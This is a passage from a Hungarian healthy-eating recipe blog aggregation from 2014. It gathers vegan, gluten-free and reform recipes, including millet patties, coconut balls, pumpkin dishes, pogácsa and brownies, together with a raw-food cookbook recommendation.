- És most jön a dolog fénypontja: a díszítés. A csokoládét tegyük egy pohárba, és állítsuk forró vízbe. Amikor felolvadt, keverjük bele a tejet. Egy átlátszó műanyag zacskó tenyérnyi sarkát vágjuk le, kanalazzunk bele a csokiból, és szorítsuk a csücsökbe. Amikor már feszül, szúrjuk ki a hegyét egy varrótűvel, és engedjük a krémet kiszivárogni. Magától fog szép hurkokat vetni, nekünk csak forgatni kell alatta a bonbont.
Sok sikert! Elkészítési idő: 30 perc
Egy kattintás, és nem maradsz le a további receptekről:
Töltsd le ITT két ajándék receptfüzetünket a Hírlevél feliratkozás mellé!
Fasírt dióval és lila tönkű pereszkével
Nem kedvelem túlságosan az erdei-mezei gombák ízét, de ebben a fasírtban a dióval együtt annyira zamatos ízvilágot kapunk, hogy napokig szívesen ettem. Mivel a lila tönkű pereszkének most épp szezonja van, rengeteg ételbe került nálunk, született gombapörkölt, ízesített levest, pizzát, éppen mit... Hozzávalók: 1/2 bögre köles opcionálisan 1-2 ek zabliszt, vagy tönkölyliszt 20 dkg lila tönkű pereszke 15 dkg dió és napraforgó mag durvára darálva 2 szál répa 1 kis fej lila hagyma petrezselyemzöld 1 tk vegamix 1 tk só kókuszzsír forgatáshoz tk panírmorzsa A kölest háromszoros mennyiségű vízzel, fél tk sóval és a vegamix-szel megfőzzük 20 perc alatt. A pereszkét, a répát és a lila hagymát megtisztítjuk. A pereszkét vékony szeletekre, a hagymát és a petrezselyem zöldet apróra vágjuk, a répát lereszeljük. Amikor a köles kissé meghűlt, hozzáadjuk a darált olajos magvakat, a zöldségeket, és fél kanál sót. Mindezt összedolgozzuk a kezünkkel. Amennyiben a köles pergősebbre sikerül, és a fasírt nem akar összeállni, némi liszttel segíthetünk a problémán. Ezután vizes kézzel diónyi gombócokat gömbölygetünk, amelyeket aztán ellapítva megforgatunk a zsemlemorzsában. Kizsírozott tepsire helyezzük őket, és 25-30 perc alatt közepes lángon megsütjük. Félidőben a fasírtokat megfordítjuk.
Aszalt gyümölcsös kókuszgolyó
A történetíró Plutarkhosz elmondása szerint az ókori Római Birodalomban élő Heródes igencsak bosszús lehetett, amikor barátja, Marcus Antonius a jerikói datolyapálma ültetvényeket Kleopátrának ajándékozta. A királynő ennél nagyobb ajándékot nem is kaphatott volna. A Babiloni Talmud Ketubóth traktátusa is megjegyzi: "élénkít és laktat, hashajtóként is működik, és anélkül erősíti a szervezetet, hogy nagyon kihasználná azt". Régészeti ásatások is bizonyították, hogy Heródes uralma alatt datolyában gazdag időszak volt a birodalom ezen része. Az ásatások során ugyanis a heródesi raktárakból datolyamagok is előkerültek.
Most igazi energia-bomba következik a datolya felhasználásával, amelyet akár gasztro-ajándéknak is elkészíthetünk például születésnapra, karácsonyra, mikulásra.
A recept:
Hozzávalók:
1/2 bögre aszalt datolya
1 bögre aszalt sárgabarack, alma, szilva, stb. vegyesen
- 3/4 bögre darált dió és vagy mandula
- víz
- 2 ek folyékony kókusz zsír (hideg sajtolású)
- kókuszreszelék
Elkészítés:
Az aszalványokat annyi vízben, hogy éppen csak ellepje kb. fél órára-órára beáztatjuk. A puha aszalványokat aprítógépbe tesszük, hozzáadjuk a darált olajos magvakat majd összeaprítjuk. Kevés kókuszzsírt keverünk hozzá, ha a víz által nem tudunk golyókat formálni belőle. A golyókat kókuszreszelékbe hempergetjük. Kész is a mutatós és finom, energia-dús bon-bon.
Kókuszos köleskeksz (gluténmentes)
Nagyon finom, morzsalékos kekszet készítettem.
Nem tartalmaz glutént, cukrot.
Nagyon finom!
Hozzávalók:
125 gramm kókuszzsír, 100 gramm méz (agavé vagy rizsszirup), 2 evőkanál eritritol, néhány csipet vanília por, csipet só, 40 gramm kókuszliszt, 40 gramm barna kölesliszt, 80 gramm sima kölesliszt, 90 gramm barna rizsliszt
Elkészítés:
A kókuszzsírt megolvasztjuk nagyon alacsony lángon, majd a mézet (agavé- vagy rizsszirupot) és eritritolt belekeverjük. A liszteket kimérjük, összekeverjük, sózzuk, vaníliázzuk, majd a megédesített kókuszzsírt is beleborítjuk a lisztes tálba. Összegyúrjuk az egészet, hogy ne legyen olyan ragadós, egy picit a hűtőszekrénybe tesszük.
Ezt követően kézzel golyókat formálunk, majd villával szétlapítjuk őket.
Sütőpapírral kibélelt tepsibe tesszük, és addig sütjük, míg a széle el nem kezd picit barnulni.
A tepsiből való kiszedésig várjunk, míg kihűl, különben könnyen széttörik.
Jó étvágyat!
Egzotikus sütőtök curry
Hagy ajánljak (nem csak Halloweenre) egy adag sütőtököt kicsit másképp. Amolyan visszafogott keleti ízvilágot, ami tüzelni, torkot leégetni nem fog, viszont érdekes és fantáziadús aromáival meglepni annál inkább. Azt is írhatnám, hogy ragu, de legyen inkább sütőtök curry, ha már annyira megszaladtak azok a fűszerek. A kókusztejszínt persze le lehet cserélni másra, de ha kicsit is bátrak vagyunk, ne tegyük. Nem, nem olyan lesz, mint a pörköltbe esett Bounty. :) Inkább különlegesen tejszínes, messzi tájakat idéző ízt hoz elő. Kis Indiát a konyhánkba.
Hozzávalók két adaghoz:
[...] Bővebben!
Omlós sós pogácsa
No, ez nem lesz vegán, de legalább reformosított egy picit. A családban többen szeretik ezt a fajta apró, omlós sós pogácsát, de legtöbbször a disznózsíros változattal lehet összefutni, így nálunk került még a húsevők között is. Egyik nap nekiálltam kitotózni, melyik is lehet a tuti recept, a Nosalty-tól a Mindmegettéig mindent megnéztem, és vagy 5 receptből gyúrtam egy tésztát. :) Jó lett, az amit vártunk. És a meglepetés, hogy a pálmazsír jobban szerepelt a margarinnál. Ha már itt tartunk, igen van pro és kontra mindkét oldalon, a margaringyártás folyamata sokat változott előnyére az utóbbi években, de még mindig nem egy természetes valami, a pálmaültetvények miatt meg vágják ki az esőerdőt. Hát most melyik ujjamat harapjam meg? Alapvetően egyiket sem, azt gondolom, ha lehet minél kevesebbet használjunk mindkettőből, ha mégis hőkezelünk, a kókuszzsír jobb választás. Ezzel kapcsolatban jó tanácsok olvashatók itt. (A tej és a tojás, illetve a kókuszzsír is bio volt.) Hogy akkor hogy jön most mégis ide ez a recept? Először is, néha van, hogy az ember csurgatja a nyálát, és állandóan a körül forog a feje, hogy most ezt-vagy azt úgy megenne, de... szerintem ennél sokkal jobb, ha néha megengedi magának, mint hogy az egészséges táplálkozást kínként és folyamatos lemondásként élje meg, azután elmenjen a kedve az egésztől. (Egyébként gyakorlatban azt veszem észre, hogy minél kevesebbet fogyasztok az adott élelmiszer típusból, annál kevésbé hiányzik. Vagy ha mégis megkóstolom, már nincs is olyan jó íze. Hát persze, hiszen az ízlelőbimbóink folyamatosan tanulnak, hozzászoknak a valóban jóhoz is.) Másodszor szülinapi kívánság. Hozzávalók: 60 dkg liszt 25 dkg kókusz sütőzsír 2 tojássárgája 1,5 dl tejföl 1 tk só magok A lisztet a sóval elkeverjük, azután összemorzsoljuk a kókuszzsírral, majd hozzádolgozzuk a tojássárgáját és a tejfölt is. Amikor egynemű tésztát kapunk, ujjnyi vastagra nyújtjuk. Ha azt akarjuk, hogy sok mag ragadjon rá a tésztára, kenjük meg a fehérjével, azonban egy kis vízzel vékonyan megkenve is ráragad, bár utána könnyen lepereg. Ezután szórjuk meg mákkal, szezámmaggal, lenmaggal, napraforgóval, kinek mi tetszik. Válasszunk ki egy olyan vékony tálcát, ami befér a mélyhűtőnkbe. Arra tegyük a tésztát, majd vágjuk be másfél centis kockákra. A mélyhűtőben minimum fél órát időzzön, de akár hetekig is maradhat. A tésztát közvetlenül sütés előtt vegyük ki a mélyhűtőből. A már bevagdalt íveken vágjuk fel apró kockákra, majd helyezzük sűrűn egymás mellé a tepsibe. Azonnal tegyük forró sütőbe. Közepes lángon 15-20 perc alatt elkészül.
Könyvajánló: Judita Wignall: Nyersből finomat
Mai zsákmányom ez a könyv, nagyon örültem neki.
Csodaszép fotók, és új, eddig nem ismert recept ötletek várnak, öröm lesz kipróbálni őket.
Nem is tudom, hogyan nem szereztem róla előbb tudomást.
A könyv hátoldalán lévő ajánló:
Nyersdiétával az egészségért, békéért és a szebb jövőért!
“A nyersdiéta a méregtelenítés, bőrtisztítás, fogyás és közérzetjavítás rendkívül hatékony egészséges módja. De kevés embernek van ideje nehezen beszerezhető alapanyagok után járkálni és mindennap bonyolult receptek alapján főzni. Akkor hát hogyan fogjunk hozzá? Erre ad választ ez a szép kiállású, igényesen megírt és nagyon jól használható könyv, amelyből mindent megtudhatunk, amit a nyersdiétás étrendről, annak bevezetéséről, fenntartásáról és élettani előnyeiről tudni kell.
A Nyersből finomat olyan tematikus szakácskönyv, amelynek receptjei a legkényesebb kulináris ízlést is kielégítik. Örömüket fogják benne találni a kreativitásukat a konyhában kiteljesítő profik és ínyencek éppúgy, mint a kezdők és az elfoglalt háziasszonyok akik most ismerkednek a nyersdiétával.
A nyersételkészítés eszközeit és lépéseit a precíz leírás mellett bőséges képanyag szemlélteti.
A könyvben száznál több, csupa finom és egészséges étel-ital receptje található, amelyek mindegyike nyers alapanyagokból készül. Jó étvágyat!”
***
Néhány érdekes, csuda finomnak ígérkező étel a könyvből:
Zöldfűszeres, kendermagos kesudiósajt, mexikói vadrizs, vegetáriánus “darált hús”, cukkinis humusz, miszoleves, gazpacho, thai kókuszleves, narancsos-áfonyás zablepény, gyümölcsös-kesudiós amerikai palacsinta, édenkerti töltött tekercs, brokkolis-gombás vadrizs, bolognai spagetti, igazi vegetáriánus pizza, vegetáriánus zöldségburger, kókuszos-currys batyu szilvás csatnival, vegetáriánus chili házi módra, paradicsomos cukkinitészta, narancsos-csokihabos vaníliakrém, brownie mexikói módra, amerikai csokis keksz, cseresznyés-csokis “túró”-torta, nyerscsokialap, fűszeres-csípős cukkinichips, fodroskelchips miszóval, fűszeres-ropogós hagymakarikák, energiaszelet, kókuszkefir, kókuszjoghurt, igazi savanyú káposzta, rejuvelac …. és még sok finomság.
A szerzőről:
Judita Wignall Los Angeles-i reklámszínésznő, divatmodell és popsztár, a Halo Friendlies együttes énekese, gitárosa, dalszövegírója. A nyersdiéta gyógyhatásait négy évvel ezelőtt fedezte föl, amikor egészségügyi problémái miatt étrendje és életmódja újragondolására kényszerült. Kulináris érzéke, a jó ételek, a holisztikus egészségmegőrzőés és a wellness iránti fogékonysága vezette őt a Living Light Culinary Arts Institute nevű kaliforniai főzőiskolába és séfképzőbe, amelynek sikeres elvégzése után okleveles nyerskonyhás főszakács és szakoktató lett. Számos kreatív projekten dolgozik, közben a tanítás mellett felkészítéssel, tanácsadással is foglalkozik, s rengeteg helyre hívják, hogy szakmai tapasztalatait megossza a vendéglátásban.
Honlapja: www.rawjudita.com
Tartalomjegyzék:
Bevezetés
1. fejezet: A nyerskonyha előnyei
Nyersdiétás alapismeretek
Dietetikai alapismeretek
A nyersevés előnyei
A nyersevés költségei
Környezetünk és az állatok védelmében
2. fejezet: A nyerskonyha alapjai
A készlet
Eszközök
A kés használata
Zöldséggyalu
Nyerskonyhás módszerek
Mesterszakácsok nyomdokain
3. fejezet: Receptek
Gyümölcsturmixok
Dzsúszok
Reggelik
Saláták, dresszingek
Levesek, előételek, köretek
Főételek
Desszertek
Falatkák
Italok
Élőflórás, erjesztett italok, ételek
Gyors és könnyű öntetek
Gyors falatkák, snackek
Gyorsdesszertek
4. fejezet: A siker titka
A helyes arányok
Ötletek, tanácsok, módszerek
Az étrend megtervezése
Mintaétrend
A holisztikus megközelítés
+ (Kislexikon, források, tárgymutató, köszönetnyilvánítás, a szerzőről, a fotósról)
Kókuszos-gyümölcsös zabpehelytorta
A napokban az esős, viharos idővel - úgy tűnik - véget értek a napfényben pompázó hosszabb időszakok - legalább is egyelőre. Nagy bánatomra, ezzel együtt, a friss gyümölcsök és zöldségek is kezdenek megfogyatkozni. Szerencsére azonban nem kell édes és finom íz nélkül maradnunk. A következő tortával megszínesíthetjük a most következő hosszú hétvégénket is akár . Nagy előnye, hogy nem kell sütni, hűtőben kell némi ideig tárolni és már fogyasztható is! :) (Mivel több főre készült a torta egy születésnapra, így legalább dupla adaggal dolgoztam.)
A recept:
Hozzávalók:
- 1 adag zabpehely (pl. 30 dkg)
- víz
- narancs
- szőlőszemek
- növényi tej
- víz
- édes ízhez ragaszkodva: egészséges édesítőszer (banán vagy méz vagy gyümölcscukor, xilit és társai közül valamelyik, vagy aszalt datolya)
- útifű maghéj
- karob- vagy kakaópor
- 20 dkg kókuszreszelék
Elkészítés:
Ha apró szemű zabpelyhünk van, akkor a lábosban, amiben főzni fogjuk, kicsit megpirítjuk. Épp, amíg illata lesz a pirítástól. Majd felöntjük vízzel vagy növényi tejjel. Figyelve és olykor megkeverve addig főzzük, míg a zabpehely megpuhul. Jó sűrűre főzzük, kevésbé folyósra. Főzés legvégén adunk hozzá karobot vagy kakaóport, majd édesítjük, és adunk még hozzá 1 evőkanál útifű maghéjat.
(Ha nagy szemű zabpehellyel dolgozunk, akkor ugyanígy megpiríthatjuk, de egy éjszakára akár be is áztathatjuk hideg vízbe. Másnap pedig felfőzzük. Az ilyen zabpelyhek több főzési időt igényelnek.)
Amikor elkészült a sűrű, kakaós vagy karobos zabkása, egy kerek tálat frissen-tartó fóliával kibélelünk, a zabkása egyik felét vagy harmadát belesimítjuk.
Míg a zabkása fő, elkészítjük hozzá a kókuszhabot a következők szerint: A kókuszreszelékeket felöntjük annyi vízzel, hogy épp ellepje. Kicsit átforgatjuk kanállal. Mikor ázott egy rövid időt, a turmixgépbe tesszük. Attól függően, hogy banánnal vagy mézzel vagy datolyával (előre meleg vízben érdemes áztatni kb. 10 percet) édesítjük, azt is teszünk hozzá. Majd összeturmixoljuk. (Ezt nehezebben viszi valamivel a turmixgép.) Amikor láthatóan összeturmixolódott, ehhez is keverünk kb. 2 evőkanálnyi útifű maghéjat. Zselés, habos állagot ad neki egy idő után.
A már egy rétegnyi zabkására kókuszhabot simítunk, majd a zabkása-kókuszhab "szintezést" addig folytatjuk, míg van zabkásánk és kókuszhabunk. A frissen-tartó fóliával felülről is betakarjuk. Pihentetjük hűtőben néhány órát, majd a kerek formából kifordítva már csak a kész zabkása-tortát kell díszítenünk.
Alaposan megmosott narancshéjat reszeltem, az oldalát ezzel szórtam meg, a tetejét pedig narancs és szőlő párossal díszítettem.
Töltött alma
Egyszerűen elkészíthető, mindenki által kedvelt édesség, ami még csak nem is óriási kalóriabomba. Hozzávalók: Ovo változat: 8 db nagyobb, kemény húsú alma 2 tojásfehérje 20 dkg darált dió / mandula / mogyoró 10 dkg gyümölcscukor / nyírfacukor / eritrit 1 tk kókuszzsír vaníliapor Az almákat megmossuk, a magházat éles késsel (vagy almamagozóval) eltávolítjuk. Lehet kicsit nagyobb lyukat vájni, mert akkor több töltelék fér bele. Ha az almát szeretjük jobban, akkor maradhat kisebb a lyuk. :) Egy tepsit kizsírozunk, elhelyezzük benne az almákat. A diót ledaráljuk, és összekeverjük a cukorral és egy csipet vanília porral. A sütőt begyújtjuk. A tojásfehérjét felverjük, óvatos mozdulatokkal belekeverjük a cukros-diós keveréket. Gyorsan megtöltjük vele az almákat. Forró sütőbe tesszük, és alacsony hőfokon, lassú tűzön kb. 40 percig sütjük, míg az alma megpuhul, a töltelék teteje pedig meg nem pirul kicsit. Viszont tudok ennél egy egészségesebb, és nagyon finom, tojásmentes változatot is, amit érdemes kipróbálni. Vegán változat: 8 db nagyobb, kemény húsú alma 1/2 bögre köles 20 dkg darált dió 10 dkg gyümölcscukor / nyírfacukor / eritrit 1 tk kókuszzsír 1 csipet só vaníliapor A kölest bő 1,5 bögre vízzel, sóval, és cukorral (mindig sztíviával szoktam, ennyihez kb 10 csepp elég, persze ízlés szerint), illetve a vaníliával 20 perc alatt megfőzzük. Ezalatt az almákat kicsumázzuk, kizsírozott tepsibe helyezzük. A diót megdaráljuk, és hozzákeverjük a megfőtt köleshez. A keverékkel megtöltjük az almákat. A maradékot (ha van - ez attól függ, mekkorák az almák, és a lyukak :) ) gombócként az almák mellé halmozva megsüthetjük. Alacsony hőfokon, lassú tűzön kb. 40 percig sütjük, míg az alma megpuhul, a töltelék teteje pedig meg nem pirul kicsit.
Sütőtök muffin
2014. október 20. Gréta konyhája
Kevés kalória, édes élvezet, egészség és egy különleges desszert, ez nem más, mint a sütőtökös muffin, a gyerekek nagy kedvence. Lehet tízórai, vagy uzsonna is. Keverj össze 15 dkg teljes kiőrlésű tönkölylisztet (gluténmentes verzióhoz Barbara sütikeveréklisztet) 15 dkg nádcukorral, a fenti összes fűszerrel ugyanilyen arányban, 1 tk szódabikarbónával majd add hozzá a nyersen reszelt 2 bögre sütőtököt (vagy főtt püré is lehet) 2 ek olvasztott kókuszolajat, 2 ek ecetet és 2-3 dl növényi tejet, jól dolgozd össze, kanalazd muffinformákba, és 15-20 perc alatt 180 fokon süsd készre. Jó étvágyat!
Kókuszkrémes kölestorta
Amikor már nem bírtam tovább a golyócskák készítését, (5 óra ételkészítés után :D ), akkor úgy döntöttem, hogy a maradék hozzávalókból torta lesz. Annyit módosítottam, hogy a kókuszkrémhez kevertem egy kis kakaóport. Tehát a receptet itt találjátok : http://eletkert.wordpress.com/2014/10/18/toltott-kolesgolyok/ Csodás kosárkákat a kosárfonó csapatnak ;) Így nézett ki felvágva ;) Kategória:édességek, Nyers és főtt is […]
Grillezett batáta párolt lilakáposztával és csicseriborsó fasírttal
2014. október 17. Éltető ételek
Szerencsére a gyerekek is szeretik a lilakáposztát, így ez gyakran kerül az asztalra. A batáta viszont nem nagyon kedvenc, így ezt csak hétköznap készítem el, amikor a gyerekek iskolában vannak. Szerencsére már több helyen is lehet batátát vásárolni, már a Lidl-ben is láttam. Én Ásotthalomról vásárolom, kedves kolleganőm szokott rendelni időnként. Hozzávalók: Párolt lilakáposzta: - 1 fej lilakáposzta - himalája só - 1 közepes fej vöröshagyma - 1-2 evőkanál kókuszolaj - pici gyömbér vagy gyömbérpor - 2-3 csipet köménymag - 2-3 evőkanál balzsamecet - 1 alma Grillezett batáta: - 2 közepes batáta - fokhagyma - olívaolaj - himalája só, olaszos fűszerkeverék Fasírt: - 15 dkg áztatott csicseriborsó - 1 kisebb fej vöröshagyma - 2 gerezd fokhagyma - só, bors, pirospaprika - 1 evőkanál darált chiamag Elkészítése: A káposztát gyaluljuk le, majd sózzuk be.A kókuszolajat olvasszuk fel az edényben, majd szórjuk bele a köménymagot. Picit pirítsuk együtt.Adjuk hozzá a vékonyra felszeletelt hagymát, pároljuk meg.Ezután alaposan nyomkodjuk ki a káposztát (mivel elég sok levet ereszt), és adjuk a hagymához.Öntsük rá a balzsamecetet, majd reszeljük bele a gyömbért (vagy szórjuk bele a gyömbérport)Öntsünk rá egy pici vizet, és fedjük le. Kb. fél óráig hagyjuk párolódni lassú tűzön.Reszeljük bele az almát (én nem szoktam meghámozni), és még süssük együtt 10-15 percet. - A batátát hámozzuk meg, majd szeleteljük feé 2-3 mm vastagra. - Sózzuk, reszeljük bele a fokhagymát, és löttyintsük rá az olívaolajat is. - Szórjuk meg a fűszerkeverékkel. - Kevés kókuszolajon süssük meg mindkét oldalát, 5-8 perc alatt elkészül. - A fasírthoz a csicseriborsót be kell áztatni előző éjszaka. - Tegyünk minden alapanyagot a konyhai robotgépbe, és daraboljuk morzsásra. Fűszerezzük. - Adjuk hozzá az őrölt chiamagot, és egy kevés vizet. Hagyjuk, hogy egy picit megduzzadjanak a magok. - Süssük ki kevés kókuszolajon. Hagyjuk kihűlni, szépen összeáll.
Kelkáposzta főzelék hajdina-gombócokkal
A sok sok nyerselék után megkívántam egy kis főzeléket ;) Már csak azért sem lehetett kihagyni, mivel kelkáposzta őkelme, itt nőtt a kertemben ;) Vannak még testvérei, gyönyörűek ? ? ? Hozzávalók 2 személyre: 1 kisebb kelkáposzta 1 diónyi kókuszzsír 1 tk köménymag 1 nagyobb sem krumpli (kertből ;) ) 2 cikk fokhagyma 1 ek […]
Töltött pogácsa
Idén ősszel is folytatódnak a főzőkörök (nem tanfolyam, hanem kör), ahol a pogácsák fő témája mellett a különböző lisztekre is hangsúlyt fektettünk az első alkalommal. Erre a főzőkörre készítettem el kóstolóként az alábbi töltött pogácsát. Osztatlan sikere volt. Mindenki nagyon szerette. Férjem és én is vittünk a munkahelyünkre, ahol szintén kedvelték az ízét azok, akik kóstolták. Most megosztom széles körben, tekintettel a finom sikerre. :)
A recept
Hozzávalók:
- 4,2 dkg élesztő
- 20 dkg zabpehely-liszt
- 20 dkg fehér liszt
- 20 dkg teljes kiőrlésű liszt
- 20 dkg kókuszzsír vagy pálmazsír, vagy bio növényi margarin
- 1 ek só
- 3,3 dl növényi tej
- 1 kiskanál méz
- 2-3 ek őrölt lenmag
- sörélesztő pehely
Töltelékhez:
- 1 medvehagymás tofu
- 1 bögre kukorica
- 1 bögre apróra vágott paprika (kaliforniai vagy pritamin vagy kápia)
- 4-5 evőkanál szójajoghurt (natúr)
- petrezselyemlevél
- 1 hagyma
- 1/2 bögre medvehagyma
- só
Elkészítés:
Kéz-meleg növényi tejben egy kevés mézzel az élesztőt felfuttatjuk. Hozzáadjuk az őrölt lenmagot. Ezt követően beletesszük a zabpehely lisztet, majd a két fajta búzalisztet, sót és végül a puha (vagy valamennyire folyékony) növényi zsiradékot. Kenyérsütő-gép is összekeveri, akárcsak a kenyér tésztáját, de mi is átgyúrhatjuk kezünkkel, ha nincs gépünk.
Meleg helyen, letakarva, kb. 45-60 percet kelesztjük.
Közben elkészítjük a tölteléket:
Apróra vágott vöröshagymát egy kevés vízen megpároljuk. Kockára vágott medvehagymás tofut beletesszük, majd az apróra vágott piros paprikát és a kukoricaszemeket is. Adunk hozzá felaprított medvehagymát és egy kevés szójajoghurtot. Sózzuk, egy kevés petrezselyemlevelet is rávágunk. Addig ,,főzzük, míg a paprika kissé meg nem puhul.
A töltött pogácsa elkészítése:
A tésztát vágódeszkán kinyújtjuk (én három részre osztottam a nyújtás előtt a könnyebben kezelhetőség miatt). A kinyújtott tésztát hosszában elfelezzük. Az egyik felére a töltelékből halmocskákat teszünk egymástól néhány cm-re. Ezt követően ráhajtjuk a tészta másik felét. Ujjunkkal benyomkodjuk a töltelék kúpocskák szélét, majd éles késsel vagy pohárral körbeszaggatjuk úgy, hogy minden darabnál a töltelék középre essen. Tepsibe rakjuk a pogácsákat. Növényi tejben áztatott sörélesztő-pehely és őrölt lenmagos sűrűbb lével megkenjük a pogácsák tetejét. Sütőben arany barnára sütjük.
Kelt tészta tej- és tojásmentesen
2014. október 10. Éltető ételek
Még évekkel ezelőtt anyósomtól kaptam egy kelt tészta receptet, melyet nagyon megszerettem. Viszont, mióta odafigyelünk a táplálkozásra, ez a recept is megváltozott. A tojást kezdetben a lenmag váltotta fel, már most az is kimarad belőle. A tej helyett természetesen növényi tejet használok, cukor helyett mézet. Még a vaj az, ami belekerül a tésztába, legközelebb szerintem ki fogom próbálni finomítatlan kókuszolajjal. A gyerekeimnek nagyon ízlik, ez a tészta az alapja a kakaós vagy nutellás csigának, a kalácsnak vagy a szilvás buktának is. Tehát az alap recept: - 35 dkg teljes kiőrlésű tönkölyliszt - 25 dkg fehér tönkölyliszt vagy BL80-as kenyérliszt (de az is előfurdul, hogy a teljes kiőrlésűt átszitálom) - 3 dl gabona/magtej (én most mandulatejet használtam), de készítettem már rizstejjel is - 2 dkg élesztő - 8 dkg bio vaj - 8 dkg méz vagy kókuszvirágcukor - 1 csapott kávéskanál himalája só Elkészítése: - Az élesztőt kevés langyos tejjel és pici mézzel felfuttatom. - A tészta hozzávalóiból egy kelt tésztát dagasztok. Kb. 1 órát hagyom pihenni meleg helyen letakarva (mindenképp legyen a duplája), majd átgyúrom, és kinyújtom. - Innen kedvünk szerint tölthetjük, vagy 15 dkg-os méretre vágjuk, és kis kalácsokat fonunk. - Célszerű sütés előtt is hagyni pihenni 20-30 percet (ha van rá idő) Előmelegített sütőben, 180 fokon sütömjük úgy 25 percig.
Lencsehurka
Már van egy receptem a blogon, de ezt most kicsit másképp készítettem. Az is igaz, hogy konzerv lencsét használtam, mert csak az volt itthon, de ennek ellenére nagyon finom lett. Kép csak az első fázisról van. Gyorsan el is fogyott, mire lefotózhattam volna. Egészséges, teljes értékű fehérjét tartalmaz, próbáljátok ki. Az eredeti recept a Biblia a helyes táplálkozásról című könyvből való. Hozzávalók: 1 bögre barnarizs 300 g főtt lencse 1 marék kesudió + napraforgómag / 1 kis doboz tejföl 1 kis fej vöröshagyma 1 ek kókuszzsír 1 ek vegamix 1 csapott tk só 1 csokor petrezselyem zöldje felaprítva borsikafű, bazsalikom A barnarizst szárazon megpirítjuk, majd hozzáadunk némi zsiradékot, a sót, és a vegamixet. Felengedjük 2,5 bögre vízzel, majd 45-50 perc alatt megfőzzük. A lencsét főzhetjük magunk is, ha lehet, előző nap áztassuk be, és babérlevéllel ízesítsük. Amikor a rizs megfőtt, keverjük össze a lencsével, a felaprított vöröshagymával, és a petrezselyem zöldjével. Kiolajozott tepsibe borítjuk a masszát. A tetejére turmixoljunk kesudió és napraforgó keverékét némi vízzel - ekkor tejmentes, vegán étel az eredmény, vagy megkenhetjük tejföllel. Sütőben 180 C-on 3/4 órát sütjük, míg szépen megpirul a teteje.
Gluténmentes, tojásmentes brownie
2014. október 6. Éltető ételek
Ez a süti az első helyet foglalja el a sütöttek kategóriában, mert ez nagy kedvenc. Gyakran készítem, házi baracklekvárral isteni finom. Hozzávalók: Nedves összetevő: - 30 dkg alma - 1,5 dl mandulatej - 8 dkg 70%-os keserűcsoki - 2 dkg kókuszolaj - 1 evőkanál méz vagy kókuszvirágcukor Száraz összetevő: - 10 dkg gluténmentes liszt (pl. rizs, köles, kukorica) - 15 dkg nedves mandulapép (ami a mandulatej készítésekor kimarad) - 1 evőkanál chiamag darálva - 1 evőkanál kakaópor - 1 kávéskanál szódabikarbóna - 1 kávéskanál vaníliapor Elkészítése: - Az almát alaposan megmossuk, majd a magházát kivágjuk és felkockázzuk. - A mandulatejet a kókuszolajjal, mézzel és a csokival megmelegítjük, hogy a csoki elolvadjon benne. - Turmixba tesszük az almát, ráöntjük a csokis tejet, és pépessé turmixoljuk. - A száraz összetevőket elkeverjük, majd ráöntjük az almás csokis masszát. - Egy 20x20 cm-es formába belesimítjuk a tésztát, majd előmelegített sütőben (170 fok) 35-40 perc alatt készre sütjük. Szeletelés előtt hagyjuk teljesen kihűlni! Kínálhatunk hozzá házi baracklekvárt, nagyon finom lesz vele.
“Hagymatokány” – Rizstésztával / Nyers káposzta saláta gazdagon
2014. szeptember 29. Fittanyuka
A nyárnak vége, de néhány erdélyi recept még van a tarsolyomban, amelyeket szinte nemis szükséges reformálni. Az egyik ilyen a hagymából készült főétel, magyaros fűszerekkel, én éppen nem rendhagyó módon rizstésztával párosítottam, amely gluténmentes és könnyen emészthető. Ez az étel bármely évszakban megállja a helyét, íme a recept:
Hozzávalók ( 4 fő részére):
1 kg vöröshagyma
2-3 evőkanál kókusz olaj
2 kk himalaya só
1 kk őrölt kömény
1 kk édes, pirospaprika
késhegyni őrölt fekete bors
1 ek. zabliszt vagy barna rizsliszt
1-2 cikk préselt fokhagyma
2 dl víz
200 g rizstészta
200 g füstölt tofu
A hagymát felaprítjuk és a sóval együtt az olajon ledinszteljük, majd adunk hozzá kevés vizet és puhára pároljuk. Hozzáadjuk a fűszereket, préselt fokhagymát. A zablisztet csomómentesen elkeverjük 1 dl vízben és hozzáaöntjük a hagyma tokányhoz, keverés mellett besűrítjük. Ha szükséges még sózzuk, fűszerezzük. A kockára vágott tofut, kevés sóval és borssal kókuszolajon megpirítjuk, a rizstésztát kifőzzük és a hagymával tálaljuk.
Nyers káposzta saláta gazdagon:
1/2 fej zsenge, édes káposzta
1-2 db paradicsom
1 szál répa
1 kk egész kömény
1 kk himalaya só
1/2 citrom leve
2 evk hidegen sajtolt napraforgó olaj
A káposztát almareszelőn lereszeljük a répával együtt, a paradicsomot kockára vágjuk, megszórjuk a köménnyel. A citrom levét a hidegen sajtolt olajjal, sóval összerázzuk egy kis üvegben és a salátára öntjük. Az üvegben való összerázás a legegyszerűbb módja a dresszingek elkészítéséhez. Finom, zsenge és ropógós saláta, önmagában vagy főétel mellé.
SÜTŐTÖK szezON
2014. szeptember 25. Zöld múzsa
Tavalyi sztori felmelegítve! ;-) Két évvel ezelőttig semmi mást nem csináltam sütőtökből: feldaraboltam, kivájtam a magos részt és toltam a sütőbe, mikor megsült és kihűlt elmajszoltuk. Az áttörés egy baráti vacsorán következett be, ahol a házigazda sütőtök krémlevest szolgált fel pirított tökmaggal amit még előtte nem ettem. A kicsit túlborsozott ám számomra nagyon szimpatikus állagú narancssárga pempőből kétszer is repetáztam. Hamar rájöttem, eddigi fantáziátlanságom oka az volt, hogy a sült tököt a'la natúr készítettem és nem gondolkodtam el a lehetséges fűszerezésein. A sütőtök az újvilágból indult hódító útjára, Közép- és Dél-Amerikában az indiánok kedvenc eledele volt. A XVI. század óta ismerik és termesztik hazánkban, ahol a legjobb ízű sütőtök Nagydoboz és környékéről valósi. Általában a kanadai változatot vásárolom a piacon, de az ominózus vacsorán folytatott beszélgetés felnyitotta szemem, léteznek egyéb zamatos fajták: ilyen például a japán hokkaido, aminek a héja is ehető sütés, főzés után. Szeptembertől kezdődik az égőnarancs színű tökszezon, a piaci standokat ellepik a különféle izgalmas formák, mi pedig újabb recepteket próbálhatunk ki. Első lépésként azt tanácsolom, a sütni való szeleteket locsoljuk meg pár evőkanál olívaolajjal, nyomjunk rá egy kis fokhagymát és enyhén sózzuk, borsozzuk. Ha még néhány szál zöld rozmaring ágat vagy friss kakukkfüvet is teszünk a tökgerezdek mellé, új dimenziók nyílnak. Az így elkészített sütőtököt rögtön tovább is gondolhatjuk. Tíz perc leforgása alatt készíthetünk belőle zsályás sütőtök pástétomot, aminek a legfőbb előnye a bolti kenyérre valókkal szemben, pontosan 